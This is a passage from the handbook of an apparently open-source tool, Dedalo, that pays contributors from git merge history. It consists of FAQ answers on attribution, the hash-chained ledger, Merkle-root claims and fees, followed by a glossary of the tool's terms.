Not today, if your repository squash-merges without creating merge commits. Attribution reads merge commits, and a squash-only history has none — which currently produces an empty round rather than an error. That is issue #13, and it is a real gap.

What about rebase merges?

Same problem, same issue.

Why not just count commits?

Because a commit is not a decision. A merge is the moment a project has already decided the work was worth having — reviewed, dated, attributed. Counting commits pays for typing.

Does it pay reviewers?

Not yet, and this is the largest known gap in the model. Review-weighted attribution is tracked. Until then, a project that wants to reward review can do it from the treasury slice every round sets aside.

Can a contributor game the scoring?

Partly, and the honest answer is in the threat model. max_points_per_merge caps any single merge. Nothing prevents verbose code — but the merge had to be reviewed, and a project merging padding has a review problem rather than an attribution problem.

Why basis points instead of percentages?

Because a percentage invites a decimal, and a decimal in a money path invites a float. Basis points are u16 integers: 10,000 = 100%, and every value of them is proved to round down.

Why is .dedalo/ committed? Isn’t that noise in my diffs?

It has to be committed, or a CI job that clones fresh cannot see past rounds and would pay them again. The objects are plain JSON rather than compressed blobs so a round is reviewable in a pull request — which is most of the value of having them in the repository at all.

Can I edit .dedalo/ to fix a mistake?

No. Editing an entry breaks its hash, and every entry after it. That is the mechanism working. If a round was wrong, the fix is a new round, and the record of the wrong one stays — that is what a ledger is.

Under the pull model, it stays in the round against the Merkle root until they claim it, or until the 180-day claim window closes and the depositor sweeps what is left. It is not silently redistributed and it is not sent to the treasury.

Why 180 days, and why can’t I change it?

Fixed rather than chosen by the depositor, because a depositor who could choose the window could choose one that closes before anybody claims.

Which chain does it use?

Undecided, and that is deliberate. The template names Base and mainnet USDC — a default that was never chosen on purpose and should be before anyone broadcasts. Issue #15. The address layer knows about address formats, not one chain.

Is there a token?

No. The protocol fee flows to an Open Collective wallet. There is nothing to buy.

Is there a hosted version?

No, and there is not planned to be one. Dedalo runs in your pipeline and reads your repository. A dashboard that holds the data is the thing this project exists not to be.

How do I check that a project’s published rounds are real?

Clone it and run dedalo verify, then recompute a round and compare ids. It takes about ten minutes and needs nothing from the maintainer. See Auditing a project.

Where is the API reference?

docs.rs/dedalo, versioned per release. This handbook is the narrative documentation; the reference is generated from the source.

I found a wrong amount. Where do I report it?

Privately, as a security advisory — never a public issue. A payout that pays the wrong amount, the wrong address, or twice is a security issue here, and so is credit assigned to the wrong person. See Reporting a vulnerability.

Glossary

Amount — an integer count of base units of an asset. Never a float. → Money

Asset — the token contributors are paid in: symbol, decimals, chain, and an optional contract address. Omitting the contract means the chain’s native coin.

Attribution — turning merge history into integer contribution weights. Does not know money exists. → Attribution

Base unit — the smallest indivisible quantity of an asset: wei, satoshi, USDC micro-units. decimals says how many make one display unit.

Basis point (bps) — one hundredth of a percent. 10,000 bps = 100%. Used instead of percentages so a share is always an integer.

Claim — a contributor taking their share out of a deposited round, proving membership against the round’s Merkle root and paying their own gas.

Claim window — 180 days, fixed. After it closes, the depositor may sweep what was never claimed. Fixed rather than configurable because a depositor who could choose it could choose a window nobody could claim within.

Content-addressed — identified by a hash of its own contents, so the name changes if the thing changes. Plans and ledger entries both are.

Co-authored-by — a git commit trailer naming additional authors. Splits a commit’s score when split_with_co_authors is on.

Dry-run — the default settlement backend. Computes and verifies everything a real settlement would, and moves nothing.

EIP-55 — the Ethereum address checksum, encoded in the capitalisation of the hex letters. Digits carry no checksum, so an address’s protection depends on how many letters it has. → How strong is the checksum

Engine — the type tying a repository, its config and its ledger together. The shortest path through all four pipeline stages.

Exhaustive — a verification method: every value in a complete finite domain was tried, so no counterexample exists in that domain. Stronger than property. → Verification

Fee scheduleprotocol_bps and treasury_bps. Taken off the top of every round, in that order, rounding down.

Gross — the full size of a round, before any cut.

Handle — the label a contributor appears under. Usually a GitHub username; nothing checks that, and it is not part of the plan id.

Identity — the mapping from one or more git emails to one wallet, under one handle. The only part of a round a human types in.

Largest-remainder method — how an amount is split across weights: floor each share, then hand out the leftover base units one at a time to the largest fractional remainders. Guarantees the shares sum to exactly the input.

Ledger — the hash-chained record in .dedalo/. Each entry names its parent and hashes over it. → The ledger

Merge event — one merge commit on the tracked branch, with the commits it introduced, their authors and trailers, and its diff against its first parent. The unit Dedalo pays for.

Merkle root — the root of the tree of (address, amount) claims for a round. Deposited on chain; contributors prove against it.

Milli-point — the unit of attribution scores. 1 point = 1,000 milli-points, stored as u128, so scoring is integer arithmetic on every machine.

Payout plan — the auditable artifact between git history and a transaction. Pure data, content-addressed. → Payout plans

Plan id — a plan’s content hash, prefixed ded1. Excludes created_at, handle, score and unresolved — see what is in it.

Property test — generated inputs, thousands of samples. Not a proof: a rare counterexample can survive one, and one did.

Protocol fee — the share of every round routed to the network’s own Open Collective. What makes the network self-funding rather than grant-dependent.

Pull model — a round is deposited once against a Merkle root and each contributor claims. The alternative, push, sends N transfers and has a half-finished state. → Funding from a multisig

Refusal — one of the ways the vault says no. Each has a distinct sentence, and a test asserts no two share one. The enum is the vault’s specification.

Round — one funding cycle: a range of merges, an amount, a plan, and a settlement.

Settlement — the fourth stage, and the only one with side effects. → Settlement

Stylus — Arbitrum’s WebAssembly smart-contract environment. What the deployable compiles to, under a hard 24 KiB compressed limit.

Treasury — the project’s own reserve, funded by treasury_bps of every round.

Undistributed — the part of the contributor pool that reached nobody, because whoever earned it has no wallet on file. Stated in the plan, never absorbed. Under the pull model it means “not claimed yet”, not “lost”.

Unresolved — the list of contributors who earned a share and could not be paid, with a reason: no-wallet, excluded or ignored.

Vault — the rules a deployed contract enforces, written as pure Rust in src/chain/vault. The deployable in src/chain/contract is a thin binding around it.

Verification manifestverification.toml, which records how every module is verified, and the gate that fails the build when a module is unaccounted for. → Verification